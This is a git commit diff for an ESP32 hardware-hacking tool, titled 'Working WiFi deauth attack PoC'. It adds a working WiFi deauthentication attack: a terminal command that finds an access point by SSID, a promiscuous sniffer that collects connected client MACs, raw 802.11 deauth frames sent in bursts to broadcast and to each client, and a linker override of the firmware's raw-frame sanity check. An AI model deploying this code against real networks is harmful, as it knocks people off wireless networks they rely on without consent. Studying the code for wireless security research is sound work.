Skip to content

A Hardware Hacking Tool with Web-Based CLI That Speaks Every Protocol

Working WiFi deauth attack PoC

Andrei Vladescu8e5b02ae087c
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 00000000..89cc49cb
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,5 @@
+.pio
+.vscode/.browse.c_cpp.db*
+.vscode/c_cpp_properties.json
+.vscode/launch.json
+.vscode/ipch
diff --git a/.vscode/extensions.json b/.vscode/extensions.json
new file mode 100644
index 00000000..080e70d0
--- /dev/null
+++ b/.vscode/extensions.json
@@ -0,0 +1,10 @@
+{
+ // See http://go.microsoft.com/fwlink/?LinkId=827846
+ // for the documentation about the extensions.json format
+ "recommendations": [
+ "platformio.platformio-ide"
+ ],
+ "unwantedRecommendations": [
+ "ms-vscode.cpptools-extension-pack"
+ ]
+}
diff --git a/platformio.ini b/platformio.ini
index 4b5997d3..59411294 100644
--- a/platformio.ini
+++ b/platformio.ini
@@ -184,6 +184,8 @@ build_flags =
-D ARDUINO_USB_MODE=1
-D ARDUINO_USB_CDC_ON_BOOT=1
+ -Wl,-zmuldefs ; ieee80211_raw_frame_sanity_check override - needed for WiFi deauth
+
-DDEVICE_S3DEVKIT
; -D ENABLE_FASTLED_PROTOCOL_SWITCHES // Only possible if you build it on linux
diff --git a/src/Controllers/WifiController.cpp b/src/Controllers/WifiController.cpp
index 3f41e49b..193ba4cb 100644
--- a/src/Controllers/WifiController.cpp
+++ b/src/Controllers/WifiController.cpp
@@ -34,6 +34,8 @@ void WifiController::handleCommand(const TerminalCommand& cmd) {
handleSsh(cmd);
} else if (root == "reset") {
handleReset();
+ } else if (root == "deauth") {
+ handleDeauth(cmd);
} else {
handleHelp();
}
@@ -389,6 +391,7 @@ void WifiController::handleHelp() {
terminalView.println(" ssh <host> <username> <password> [port]");
terminalView.println(" webui");
terminalView.println(" reset");
+ terminalView.println(" deauth <ap> [bursts]");
}
/*
@@ -399,4 +402,30 @@ void WifiController::ensureConfigured() {
handleConfig();
configured = true;
}
-}
\ No newline at end of file
+}
+
+/*
+Deathenticate stations attack
+*/
+void WifiController::handleDeauth(const TerminalCommand& cmd)
+{
+ auto target = cmd.getSubcommand();
+ if (target.empty()) {
+ terminalView.println("Usage: deauth <ssid> [bursts] [ms]");
+ return;
+ }
+
+ uint8_t bursts = 20;
+
+ if (!cmd.getArgs().empty() && argTransformer.isValidNumber(cmd.getArgs())) {
+ bursts = static_cast<uint8_t>(argTransformer.parseHexOrDec16(cmd.getArgs()));
+ }
+
+ terminalView.println("WiFi: Sending deauth to \"" + target + "\"…");
+
+ bool ok = wifiService.deauthApBySsid(target, bursts, 400);
+
+ if (ok) terminalView.println("WiFi: Deauth frame(s) sent.");
+ else terminalView.println("WiFi: SSID not found.");
+}
+
diff --git a/src/Controllers/WifiController.h b/src/Controllers/WifiController.h
index 931108de..0a241916 100644
--- a/src/Controllers/WifiController.h
+++ b/src/Controllers/WifiController.h
@@ -71,6 +71,9 @@ private:
// Connect to SSH host
void handleSsh(const TerminalCommand& cmd);
+ // Deathenticate attack
+ void handleDeauth(const TerminalCommand& cmd);
+
// Reset Wi-Fi configuration
void handleReset();
@@ -80,4 +83,5 @@ private:
// Show help for Wi-Fi commands
void handleHelp();
+
};
diff --git a/src/Services/WifiService.cpp b/src/Services/WifiService.cpp
index 83f47f8c..bb875d63 100644
--- a/src/Services/WifiService.cpp
+++ b/src/Services/WifiService.cpp
@@ -4,6 +4,10 @@
std::vector<std::string> WifiService::sniffLog;
portMUX_TYPE WifiService::sniffMux = portMUX_INITIALIZER_UNLOCKED;
+std::vector<std::array<uint8_t, 6>> WifiService::staList;
+uint8_t WifiService::apBSSID[6];
+portMUX_TYPE WifiService::staMux = portMUX_INITIALIZER_UNLOCKED;
+
WifiService::WifiService() : connected(false) {
WiFi.mode(WIFI_STA);
}
@@ -363,3 +367,101 @@ std::string WifiService::getMacAddressAp() const {
char buf[18];
return formatMac(mac);
}
+
+extern "C" int ieee80211_raw_frame_sanity_check(int32_t, int32_t, int32_t)
+{
+ // Override function to avoid linker errors
+ return 0;
+}
+
+void WifiService::clientSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+ if (type != WIFI_PKT_DATA) return;
+
+ const wifi_promiscuous_pkt_t* p = (wifi_promiscuous_pkt_t*)buf;
+ const uint8_t* hdr = p->payload;
+
+ // To-DS = 1, From-DS = 0
+ if ((hdr[1] & 0x03) != 0x01) return;
+
+ const uint8_t* ap = hdr + 4; // addr1
+ const uint8_t* sta = hdr +10; // addr2
+
+ if (memcmp(ap, apBSSID, 6) != 0) return; // different BSSID
+
+ std::array<uint8_t,6> mac;
+ memcpy(mac.data(), sta, 6);
+
+ portENTER_CRITICAL_ISR(&staMux);
+ bool seen=false;
+ for (auto& e : staList) if (e == mac) { seen=true; break; }
+ if (!seen) staList.push_back(mac);
+ portEXIT_CRITICAL_ISR(&staMux);
+}
+
+void WifiService::deauthAttack(const uint8_t bssid[6], uint8_t channel, uint8_t bursts, uint32_t sniffMs)
+{
+ if (WiFi.getMode() != WIFI_MODE_AP && WiFi.getMode() != WIFI_MODE_APSTA) {
+ WiFi.mode(WIFI_MODE_AP);
+ esp_wifi_start();
+ }
+
+ std::vector<std::array<uint8_t,6>> clients;
+
+ memcpy(apBSSID, bssid, 6);
+ staList.clear();
+
+ esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_promiscuous_rx_cb(&clientSnifferCallback);
+
+ uint32_t start = millis();
+ while (millis() - start < sniffMs) delay(1);
+
+ esp_wifi_set_promiscuous(false);
+ esp_wifi_set_promiscuous_rx_cb(nullptr);
+
+ portENTER_CRITICAL(&staMux);
+ clients = staList;
+ portEXIT_CRITICAL(&staMux);
+
+ // Deauth frame
+ uint8_t pkt[26] = {
+ 0xc0,0x00, // Frame control
+ 0x00,0x00, // Duration
+ 0xff,0xff,0xff,0xff,0xff,0xff, // addr1 = target
+ 0x00,0x00,0x00,0x00,0x00,0x00, // addr2 = source
+ 0x00,0x00,0x00,0x00,0x00,0x00, // addr3 = BSSID
+ 0x00,0x00, // Fragment & sequence number
+ 0x02,0x00 // Reason code, 2 = previous authentication no longer valid
+ };
+ memcpy(&pkt[16], bssid, 6); // addr3 always AP
+
+ esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
+
+ for (int i=0;i<bursts;i++) {
+ memcpy(&pkt[10], bssid, 6); // addr2 = AP
+ memcpy(&pkt[4] , "\xff\xff\xff\xff\xff\xff",6);
+ esp_wifi_80211_tx(WIFI_IF_AP,pkt,26,true);
+
+ for (auto& sta: clients) {
+ memcpy(&pkt[4], sta.data(),6); // addr1 = STA
+ esp_wifi_80211_tx(WIFI_IF_AP,pkt,26,true);
+ }
+ delay(1);
+ }
+}
+
+bool WifiService::deauthApBySsid(const std::string& ssid, uint8_t bursts, uint32_t sniffMs)
+{
+ auto nets = scanDetailedNetworks();
+ for (auto& n : nets) {
+ if (n.ssid == ssid) {
+ uint8_t bssid[6];
+ sscanf(n.bssid.c_str(), "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5]);
+ deauthAttack(bssid, n.channel, bursts, sniffMs);
+ return true; // success
+ }
+ }
+ return false; // SSID not found
+}
diff --git a/src/Services/WifiService.h b/src/Services/WifiService.h
index bff6aa5e..10249dd9 100644
--- a/src/Services/WifiService.h
+++ b/src/Services/WifiService.h
@@ -84,9 +84,18 @@ public:
static std::string getFrameTypeName(uint8_t type, uint8_t subtype);
static void extractTypeSubtype(const uint8_t* payload, uint8_t& type, uint8_t& subtype);
-private:
+ // Deathentication attacks
+ bool deauthApBySsid (const std::string& ssid, uint8_t bursts = 20, uint32_t sniffMs = 400);
+ void deauthAttack(const uint8_t bssid[6], uint8_t channel, uint8_t bursts, uint32_t sniffMs);
+
bool connected;
static void snifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static std::vector<std::string> sniffLog;
static portMUX_TYPE sniffMux;
+
+ static portMUX_TYPE staMux;
+ static std::vector<std::array<uint8_t, 6>> staList;
+ static uint8_t apBSSID[6];
+ static void clientSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+
};
\ No newline at end of file